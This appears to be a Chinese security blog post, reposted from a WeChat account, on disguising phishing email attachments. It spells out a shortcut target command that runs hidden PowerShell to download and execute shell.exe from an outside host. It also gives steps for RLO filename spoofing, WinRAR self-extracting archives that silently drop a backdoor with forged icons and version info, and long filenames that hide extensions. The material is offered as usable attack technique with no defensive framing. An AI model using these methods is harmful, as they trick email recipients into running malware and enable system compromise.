干货|常用的邮件钓鱼伪装方法

  • A+
所属分类:安全文章


快捷方式


修改快捷方式中的目标栏内容执行powershell命令下载木马
将以下内容写入目标栏中


C:WindowsSystem32cmd.exe /c powershell.exe -nop -w hidden -command IEX (new-object net.webclient).DownloadFile('http://ip/shell.exe','C:WindowsTempshell.exe');&cmd /c "C:WindowsTempshell.exe"


调用powershell,隐藏窗口执行下载网站的EXE恶意文件,存储到某一文件夹下,命令行运行EXE恶意文件


隐藏恶意文件,利用命名及图标伪装的快捷方式诱导点击


将真实要执行的恶意文件进行隐藏(此步骤可选)


创建快捷方式指向该文件,修改目标内容为explorer.exe .evil.exe 将起始位置内容删除
干货|常用的邮件钓鱼伪装方法


修改后缀为txt,并修改图标
干货|常用的邮件钓鱼伪装方法


最终效果如下,双击启动计算器。
干货|常用的邮件钓鱼伪装方法




RLO编码文件名欺骗


在windows下,如果字符串中存在Unicode字符RLO,则该字符右边的字符串会逆序显示,将后缀进行颠倒,实现文件名欺骗,不更改文件原本类型。

实现过程


F2进行重命名后在.exe前右键选择“插入Unicode控制字符(I)”点击“RLO”,输入fdp回车(该编码会导致输入显示逆序)即变成了pdf格式文件(注:不用加".")。

干货|常用的邮件钓鱼伪装方法


最终效果
干货|常用的邮件钓鱼伪装方法




自解压


利用winrar压缩工具自带的自解压功能实现全程无感知上线

利用工具的下载链接:

Winrar下载链接:
https://www.win-rar.com/download.html?&L=0

ResourceHacker:
http://www.angusj.com/resourcehacker/

实现过程


准备好正常的软件和后门软件
干货|常用的邮件钓鱼伪装方法

创建自解压文件,以真实安装包名字命名
干货|常用的邮件钓鱼伪装方法

设置自解压选项
干货|常用的邮件钓鱼伪装方法

干货|常用的邮件钓鱼伪装方法


解压后运行自解压文件中真实的安装包和恶意文件,使用静默模式,以达成无感知效果
干货|常用的邮件钓鱼伪装方法

干货|常用的邮件钓鱼伪装方法


修改自解压文件的资源文件

利用ResourceHacker工具(该工具可查看,修改,添加,删除和重命名,提取Windows可执行文件和资源文件的资源替换工具)修改自解压文件资源,更逼真

先提取正常软件的图标

干货|常用的邮件钓鱼伪装方法


打开刚才创建的自解压文件,替换图标
干货|常用的邮件钓鱼伪装方法


保存后打开源正常文件,查看正常软件的version信息,并复制下来,后面自解压软件替换信息用。
干货|常用的邮件钓鱼伪装方法


添加自解压软件的version信息
干货|常用的邮件钓鱼伪装方法

干货|常用的邮件钓鱼伪装方法


点绿色箭头进行保存
干货|常用的邮件钓鱼伪装方法


查看信息可见一样
干货|常用的邮件钓鱼伪装方法




超长文件名隐藏


利用windows目录默认显示文件名长度特性,进行修改将文件名加长隐藏后缀名。
干货|常用的邮件钓鱼伪装方法


干货|常用的邮件钓鱼伪装方法


干货|常用的邮件钓鱼伪装方法

1. PHP代码审计指南

2. 最新linux安全加固脚本2.0

3. 任意文件上传之绕过云waf+本地防火墙双重防护

4. 乌雲安全公众号 所有历史文章PDF下载

5.一次XSS和CSRF的组合拳进攻 (CSRF+JSON)

最近收集多份渗透学习资料,包括代码审计指南、Android渗透测试方法大全、密码字典、勒索病毒防护手册等等。
获取方式:点 在看 ,关注公众号并回复 1024 领取,更多内容陆续奉上。
干货|常用的邮件钓鱼伪装方法
文章有帮助的话,在看,转发吧。谢谢支持哟 

原文始发于微信公众号(乌雲安全):干货|常用的邮件钓鱼伪装方法

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: